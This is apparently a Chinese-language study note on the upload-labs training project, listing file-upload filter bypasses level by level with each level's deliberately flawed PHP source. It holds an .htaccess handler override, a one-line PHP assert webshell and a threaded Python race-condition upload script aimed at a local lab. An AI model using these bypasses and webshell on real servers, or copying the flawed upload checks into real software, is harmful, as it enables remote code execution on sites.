文件上传解析漏洞总结

php

找到一个不错的文件上传练习项目,题型挺全面的,基本上可以概括所有的文件上传漏洞类型。随便总结一下,做个笔记。

附上一个项目地址:https://github.com/c0ny1/upload-labs
在作者的思维脑图的基础上再进一步扩充。

js前端检测

(1)禁用js。即可。在谷歌游览器中,设置->高级->内容->javascript。
(2)用burp抓取数据包,修改成php后缀。

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function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}

检查后缀

黑名单检测

特殊可解析后缀

(1)通过上传特殊文件名来绕过黑名单检测。如 php、php2、php3、php5、phtml、asp、aspx、ascx、ashx、cer、jsp、jspx 这些特殊后缀名能否被解析,关键查看apache 的conf/httpd.conf文件 如果包含
AddType application/x-httpd-php .php .phtml .phps .php5 .pht...
则 .phtml……这些特殊文件可以被解析
(2).htaccess绕过。这里因为文件名被重新命名了,所以绕过不了。这里就提一提。 先上传.htaccess文件,内容为

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<FilesMatch ".(jpg)$"> 
SetHandler application/x-httpd-php
</FilesMatch>

然后再上传个shell.jpg ,这样shell.jpg就可解析为php文件。

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

正则匹配特性

利用PHP 和 Windows环境的叠加特性,以下符号在正则匹配时的相等性

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双引号"     =   点号.
大于符号> = 问号?
小于符号< = 星号*

先上传一个名为script.php:.jpg的文件,上传成功后会生成script.php的空文件,大小为0KB

然后将文件名改为script.<或script.<<<或script.>>>或script.>><后再次上传,重写script.php文件内容,Webshell代码就会写入原来的script.php空文件中

这是网上找到的解法,不过还是不明白为什么上传的文件不会被重命名??????????????????

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

大小混写绕过

发现后缀没有转化成大写或小写在判断,黑名单也过滤不完全。
可以通过上传shell.phP绕过。

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

空格绕过

没有用trim去除空格,.php空格 即可绕过黑名单检测。window下有效

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

点绕过

没有去掉最后面的点,也没有重新命名文件。可以上传文件,用burp修改成shell.php.绕过。

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

::$DATA绕过

在上传文件保存磁盘为NTFS格式时可通过::$DATA绕过黑名单限制,如果上传的文件名字为:shell.php::$DATA,会在服务器上生成一个shell.php的文件,其中内容和所上传文件内容相同,并被解析

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

点+空格+点绕过

deldot()只去除了最后一点,并且后面没有对文件进行重命名,所以我们可以shell.php. .绕过。

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

双写绕过

str_ireplace()只过滤了一次,没有循环过滤。上传shell.phphpp即可绕过。

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

白名单检测

MIME检测

截断上传数据包,修改Content-Type为image/gif,然后放行数据包

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}

get 00截断

00截断要满足两个条件:
php版本小于5.3.4
php的magic_quotes_gpc为OFF状态(这个特性在PHP5.3.0中已经废弃并且在5.4.0中已经移除了)
发现save_path参数是可以控制的,直接采用00截断

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$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}

post 00截断

因为post不会像get对%00进行解码。所以我要burp url-decode解码一下再发送.

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$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传失败";
}
} else {
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}

0x00截断

(1)上传的文件名用0x00绕过。改成19.php【二进制00】.1.jpg 同上


(2)或者move_uploaded_file会忽略掉文件末尾的/.

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}

} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

检查内容

文件头检查

绕过文件头检查,添加GIF图片的文件头GIF89a,绕过GIF图片检查
图片马即可绕过。

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function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);

if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}

getimagesize

添加GIF图片的文件头绕过检查
图片马

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function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}

exif_imagetype

同上

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function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}

二次渲染

原理:将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。具体实现需要自己编写Python程序,人工尝试基本是不可能构造出能绕过渲染函数的图片webshell的。
这里提供一个包含一句话webshell代码并可以绕过PHP的imagecreatefromgif函数的GIF图片

这篇文章写得挺完整的:https://xz.aliyun.com/t/2657

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];

$target_path=UPLOAD_PATH.'/'.basename($filename);

// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);

//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);

if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);

if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);

@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);

@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}

代码逻辑

条件竞争

利用条件竞争删除文件时间差绕过。使用命令pip install hackhttp安装hackhttp模块,运行下面的Python代码即可。如果还是删除太快,可以适当调整线程并发数。 附上大佬的脚本

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#!/usr/bin/env python
# coding:utf-8
# Build By LandGrey

import hackhttp
from multiprocessing.dummy import Pool as ThreadPool


def upload(lists):
hh = hackhttp.hackhttp()
raw = """POST /upload-labs/Pass-17/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/upload-labs/Pass-17/index.php
Cookie: pass=17
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------6696274297634
Content-Length: 341

-----------------------------6696274297634
Content-Disposition: form-data; name="upload_file"; filename="17.php"
Content-Type: application/octet-stream

<?php assert($_POST["LandGrey"])?>
-----------------------------6696274297634
Content-Disposition: form-data; name="submit"

上传
-----------------------------6696274297634--
"""
code, head, html, redirect, log = hh.http('http://127.0.0.1/upload-labs/Pass-17/index.php', raw=raw)
print(str(code) + "\r")


pool = ThreadPool(10)
pool.map(upload, range(10000))
pool.close()
pool.join()

在脚本运行的时候,访问Webshell

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$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;

if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}

条件竞争和Apache解析漏洞

不懂

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//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}

//myupload.php
class MyUpload{
......
......
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){

$ret = $this->isUploadedFile();

if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

// if flag to check if the file exists is set to 1

if( $this->cls_file_exists == 1 ){

$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}

// if we are here, we are ready to move the file to destination

$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

// check if we need to rename the file

if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}

// if we are here, everything worked as planned :)

return $this->resultUpload( "SUCCESS" );

}
......
......
......
};

数组+./绕过

参考网上的解:
如果上传的是数组就会跳过$file = explode('.', strtolower($file)) 。而最终的文件名后缀取的是$file[count($file) - 1],因此我们可以让$file为数组。
$file[0]=test.php/ $file[2]=jpg 利用move_uploaded_file会忽略/.来成功绕过

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$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}

$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}

参考文章:
文件解析漏洞总结https://www.smi1e.top/%E6%96%87%E4%BB%B6%E8%A7%A3%E6%9E%90%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/
Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写
https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
https://github.com/LandGrey/upload-labs-writeup